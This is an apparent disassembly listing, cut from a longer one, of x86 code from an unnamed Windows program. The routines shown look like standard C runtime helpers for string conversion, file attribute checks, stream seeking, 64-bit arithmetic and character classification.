		mov	ecx, ds:dword_4F008C
		add	ecx, 4
		mov	ds:dword_4F008C, ecx
		call	sub_41DB50
		mov	eax, [ebp+arg_0]


loc_41FE5F:				; CODE XREF: sub_41FDB0+68j
		mov	esp, ebp
		pop	ebp
		retn
sub_41FDB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE70	proc near		; CODE XREF: seg000:0040D416p
					; sub_4377C0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41FDB0
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		pop	ebp
		retn
sub_41FE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE90	proc near		; DATA XREF: seg002:0043C020o
		push	ebp
		mov	ebp, esp
		push	0B6h
		push	offset dword_439CFC
		push	2
		push	80h
		call	sub_41AE60
		add	esp, 10h
		mov	ds:dword_4F0090, eax
		cmp	ds:dword_4F0090, 0
		jnz	short loc_41FEC4
		push	18h
		call	sub_420CA0
		add	esp, 4


loc_41FEC4:				; CODE XREF: sub_41FE90+28j
		mov	eax, ds:dword_4F0090
		mov	dword ptr [eax], 0
		mov	ecx, ds:dword_4F0090
		mov	ds:dword_4F008C, ecx
		pop	ebp
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEE0	proc near		; CODE XREF: sub_40DA10+77p
					; sub_40F19D+151p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4EED14
		call	ds:dword_4F1428	; InterlockedIncrement
		cmp	ds:dword_4EED10, 0
		jz	short loc_41FF18
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_41FF1F
; ---------------------------------------------------------------------------


loc_41FF18:				; CODE XREF: sub_41FEE0+18j
		mov	[ebp+var_4], 0


loc_41FF1F:				; CODE XREF: sub_41FEE0+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41FF60
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41FF48
		push	13h
		call	sub_421B20
		add	esp, 4
		jmp	short loc_41FF53
; ---------------------------------------------------------------------------


loc_41FF48:				; CODE XREF: sub_41FEE0+5Aj
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement


loc_41FF53:				; CODE XREF: sub_41FEE0+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41FEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF60	proc near		; CODE XREF: sub_41FEE0+4Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_41FF83
		cmp	[ebp+arg_8], 0
		jnz	short loc_41FF83
		xor	eax, eax
		jmp	loc_420144
; ---------------------------------------------------------------------------


loc_41FF83:				; CODE XREF: sub_41FF60+14j
					; sub_41FF60+1Aj ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FFA7
		push	offset dword_439D14
		push	0
		push	55h
		push	offset dword_439D08
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FFA7
		int	3		; Trap to Debugger


loc_41FFA7:				; CODE XREF: sub_41FF60+27j
					; sub_41FF60+44j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FF83
		cmp	[ebp+arg_0], 0
		jz	loc_4200F6
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_420009


loc_41FFC0:				; CODE XREF: sub_41FF60+9Fj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_420001
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movzx	ax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ax
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_41FFED
		mov	eax, [ebp+var_4]
		jmp	loc_420144
; ---------------------------------------------------------------------------


loc_41FFED:				; CODE XREF: sub_41FF60+83j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		jmp	short loc_41FFC0
; ---------------------------------------------------------------------------


loc_420001:				; CODE XREF: sub_41FF60+66j
		mov	eax, [ebp+var_4]
		jmp	loc_420144
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF60+5Ej
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, ds:dword_4EEA80
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_420039
		mov	eax, [ebp+var_4]
		sub	eax, 1
		jmp	loc_420144
; ---------------------------------------------------------------------------


loc_420039:				; CODE XREF: sub_41FF60+CCj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_420057
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_420144
; ---------------------------------------------------------------------------


loc_420057:				; CODE XREF: sub_41FF60+E2j
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		jmp	short loc_42006E
; ---------------------------------------------------------------------------


loc_420065:				; CODE XREF: sub_41FF60:loc_4200AFj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42006E:				; CODE XREF: sub_41FF60+103j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_4200B1
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_4200B1
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_4200AF
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4200AF:				; CODE XREF: sub_41FF60+144j
		jmp	short loc_420065
; ---------------------------------------------------------------------------


loc_4200B1:				; CODE XREF: sub_41FF60+11Cj
					; sub_41FF60+127j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	1
		mov	eax, ds:dword_4EEA80
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4200F1
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420144
; ---------------------------------------------------------------------------


loc_4200F1:				; CODE XREF: sub_41FF60+17Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_420144
; ---------------------------------------------------------------------------


loc_4200F6:				; CODE XREF: sub_41FF60+51j
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_42010D
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		jmp	short loc_420144
; ---------------------------------------------------------------------------


loc_42010D:				; CODE XREF: sub_41FF60+19Dj
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, ds:dword_4EEA80
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42013E
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420144
; ---------------------------------------------------------------------------


loc_42013E:				; CODE XREF: sub_41FF60+1CCj
		mov	eax, [ebp+var_4]
		sub	eax, 1


loc_420144:				; CODE XREF: sub_41FF60+1Ej
					; sub_41FF60+88j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41FF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420150	proc near		; CODE XREF: seg000:0040E075p
					; sub_416995+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F1334	; GetFileAttributesA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42017B
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		call	sub_426740
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4201AC
; ---------------------------------------------------------------------------


loc_42017B:				; CODE XREF: sub_420150+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4201AA
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_4201AA
		call	sub_4267E0
		mov	dword ptr [eax], 0Dh
		call	sub_4267F0
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_4201AC
; ---------------------------------------------------------------------------


loc_4201AA:				; CODE XREF: sub_420150+33j
					; sub_420150+3Dj
		xor	eax, eax


loc_4201AC:				; CODE XREF: sub_420150+29j
					; sub_420150+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_420150	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201B0	proc near		; CODE XREF: sub_40F19D+2B6p
					; sub_40F19D+316p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4201BA:				; CODE XREF: sub_4201B0+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_4201D1
		jmp	short loc_4201BA
; ---------------------------------------------------------------------------


loc_4201D1:				; CODE XREF: sub_4201B0+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		sub	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4201B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201E0	proc near		; CODE XREF: seg000:00412D71p
					; seg000:00412E80p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_4201E7:				; CODE XREF: sub_4201E0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42020B
		push	offset dword_4394EC
		push	0
		push	65h
		push	offset dword_439D20
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42020B
		int	3		; Trap to Debugger


loc_42020B:				; CODE XREF: sub_4201E0+Bj
					; sub_4201E0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4201E7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F070
		add	esp, 4
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_420250
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4201E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420250	proc near		; CODE XREF: sub_4201E0+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_420257:				; CODE XREF: sub_420250+32j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42027E
		push	offset dword_4394FC
		push	0
		push	92h
		push	offset dword_439D20
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42027E
		int	3		; Trap to Debugger


loc_42027E:				; CODE XREF: sub_420250+Bj
					; sub_420250+2Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420257
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_4202AB
		cmp	[ebp+arg_8], 0
		jz	short loc_4202BE
		cmp	[ebp+arg_8], 1
		jz	short loc_4202BE
		cmp	[ebp+arg_8], 2
		jz	short loc_4202BE


loc_4202AB:				; CODE XREF: sub_420250+47j
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_420370
; ---------------------------------------------------------------------------


loc_4202BE:				; CODE XREF: sub_420250+4Dj
					; sub_420250+53j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		cmp	[ebp+arg_8], 1
		jnz	short loc_4202EE
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42B8A0
		add	esp, 4
		mov	edx, [ebp+arg_4]
		add	edx, eax
		mov	[ebp+arg_4], edx
		mov	[ebp+arg_8], 0


loc_4202EE:				; CODE XREF: sub_420250+81j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_421720
		add	esp, 4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_42031B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFCh
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		jmp	short loc_42034F
; ---------------------------------------------------------------------------


loc_42031B:				; CODE XREF: sub_420250+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42034F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_42034F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 400h
		test	edx, edx
		jnz	short loc_42034F
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 200h


loc_42034F:				; CODE XREF: sub_420250+C9j
					; sub_420250+D6j ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_42B6E0
		add	esp, 0Ch
		sub	eax, 0FFFFFFFFh
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax


loc_420370:				; CODE XREF: sub_420250+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420380	proc near		; CODE XREF: sub_414853+11Bp
					; seg000:0041D65Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_420399
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_420399:				; CODE XREF: sub_420380+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_420380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4203C0	proc near		; CODE XREF: sub_4169AF+3Fp
					; seg000:0041A352p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4203E2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_420423
; ---------------------------------------------------------------------------


loc_4203E2:				; CODE XREF: sub_4203C0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4203F0:				; CODE XREF: sub_4203C0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4203F0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_42041E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_42041E
		jb	short loc_42041F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_42041F


loc_42041E:				; CODE XREF: sub_4203C0+4Ej
					; sub_4203C0+54j
		dec	esi


loc_42041F:				; CODE XREF: sub_4203C0+56j
					; sub_4203C0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_420423:				; CODE XREF: sub_4203C0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4203C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420430	proc near		; CODE XREF: sub_4169AF+2Dp
					; seg000:0041A36Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_420451
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4204A1
; ---------------------------------------------------------------------------


loc_420451:				; CODE XREF: sub_420430+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_42045F:				; CODE XREF: sub_420430+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_42045F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_42048A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_42048A
		jb	short loc_420492
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_420492


loc_42048A:				; CODE XREF: sub_420430+4Aj
					; sub_420430+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_420492:				; CODE XREF: sub_420430+52j
					; sub_420430+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4204A1:				; CODE XREF: sub_420430+1Fj
		pop	ebx
		retn	10h
sub_420430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4204B0	proc near		; CODE XREF: sub_416ABF+5Ep
					; sub_416ABF+8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_4204D1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_4204D1:				; CODE XREF: sub_4204B0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4204ED
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4204ED:				; CODE XREF: sub_4204B0+27j
		or	eax, eax
		jnz	short loc_420509
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_42054A
; ---------------------------------------------------------------------------


loc_420509:				; CODE XREF: sub_4204B0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_420517:				; CODE XREF: sub_4204B0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_420517
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_420545
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_420545
		jb	short loc_420546
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_420546


loc_420545:				; CODE XREF: sub_4204B0+85j
					; sub_4204B0+8Bj
		dec	esi


loc_420546:				; CODE XREF: sub_4204B0+8Dj
					; sub_4204B0+93j
		xor	edx, edx
		mov	eax, esi


loc_42054A:				; CODE XREF: sub_4204B0+57j
		dec	edi
		jnz	short loc_420554
		neg	edx
		neg	eax
		sbb	edx, 0


loc_420554:				; CODE XREF: sub_4204B0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4204B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420583
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42059A
; ---------------------------------------------------------------------------


loc_420583:				; CODE XREF: seg000:0042056Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_42059A:				; CODE XREF: seg000:00420581j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_4205D0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4205E5
; ---------------------------------------------------------------------------


loc_4205D0:				; CODE XREF: seg000:004205BBj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 1
		mov	[ebp-4], eax


loc_4205E5:				; CODE XREF: seg000:004205CEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420610
		push	2
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_420625
; ---------------------------------------------------------------------------


loc_420610:				; CODE XREF: seg000:004205FBj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 2
		mov	[ebp-4], eax


loc_420625:				; CODE XREF: seg000:0042060Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420630	proc near		; CODE XREF: sub_417120+1A8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420650
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_420665
; ---------------------------------------------------------------------------


loc_420650:				; CODE XREF: sub_420630+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_420665:				; CODE XREF: sub_420630+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_420630	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420693
		push	80h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4206AA
; ---------------------------------------------------------------------------


loc_420693:				; CODE XREF: seg000:0042067Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp-4], eax


loc_4206AA:				; CODE XREF: seg000:00420691j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206C0	proc near		; CODE XREF: sub_426BE0+105p
					; sub_4280A0+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_4206E0
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_4206F5
; ---------------------------------------------------------------------------


loc_4206E0:				; CODE XREF: sub_4206C0+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8
		mov	[ebp+var_4], eax


loc_4206F5:				; CODE XREF: sub_4206C0+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4206C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420720
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_420735
; ---------------------------------------------------------------------------


loc_420720:				; CODE XREF: seg000:0042070Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 10h
		mov	[ebp-4], eax


loc_420735:				; CODE XREF: seg000:0042071Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420763
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42077A
; ---------------------------------------------------------------------------


loc_420763:				; CODE XREF: seg000:0042074Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_42077A:				; CODE XREF: seg000:00420761j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_4207B3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
